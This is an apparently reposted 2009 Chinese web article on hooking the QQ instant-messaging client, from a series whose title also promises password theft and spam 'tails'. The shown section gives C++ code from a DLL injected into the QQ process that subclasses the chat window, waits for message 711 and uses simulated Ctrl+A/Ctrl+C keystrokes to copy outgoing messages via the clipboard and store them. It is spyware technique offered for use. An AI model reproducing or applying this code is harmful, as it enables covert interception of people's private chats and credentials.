如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴
2009-02-21 19:59:56 来源:WEB开发网被Hook后的QQ托盘信息
截取聊天内容
在我们注入到QQ进程空间的Dll中启动线程,定时枚举系统中的窗口,当找到聊天窗口时我们需要收集到聊天内容。
聊天内容分为“发送”内容和“接收”内容。“接收”的文字内容未做限制,直接用WM_GET_TEXT便能获得。发送的内容比较麻烦一点,首先我们要知道用户何时发送(点“发送”按钮、按快捷键“Ctrl+Enter”、按快捷键“Alt+S”),要解决这些问题,我同样需要截获聊天窗口的消息。
首先我们用EnumWindows()函数在线程中定时查找QQ聊天窗口,一旦发现新的聊天窗口出现,我们立即修改窗口过程函数地址:
// 修改相关窗口的 WindowProc 地址
ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow,
&pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,
WindowProc_ChatWindow );
以上代码将QQ聊天窗口的过程函数改为我们自己的函数“WindowProc_ChatWindow()”,
那用户到底什么时候发送聊天信息呢?我们只要截获消息711即可,收到该消息以后我们将触发一个事件,我们另外的线程便开始工作,将聊天内容通过模拟键盘事件的方式复制出来,然后再保存到我们另外的内存区域里。
//
// 获取用户正要发送的聊天内容,保存到数组中
//
CString CQQMate::GetWillSentChatText ()
{
HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );
int nSleepTime = 100;
// 激活“发送文字信息的编辑框”并获取输入焦点
ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
CRect rcEditForSendMessage(0,0,0,0);
::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );
MouseLeftClick ( rcEditForSendMessage.CenterPoint() );
// 将要发送的文字内容拷贝出来并保存起来
CString csSendingText;
for ( int i=0; i<10; i++ )
{
GetClipBoardText (); // 清空剪贴板
KeyboardCombineEvent ( VK_CONTROL, 'A', '' );
Sleep(nSleepTime);
KeyboardCombineEvent ( VK_CONTROL, 'C', '' );
Sleep(nSleepTime);
csSendingText = GetClipBoardText();
HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );
if ( !csSendingText.IsEmpty() )
break;
}
HwDbgLog ( L_DEBUG, _T("发送文字信息: %s"), csSendingText );
if ( csSendingText.IsEmpty() )
{
return csSendingText;
}
else
{
m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );
}
return csSendingText;
}
增加QQ尾巴
更多精彩
赞助商链接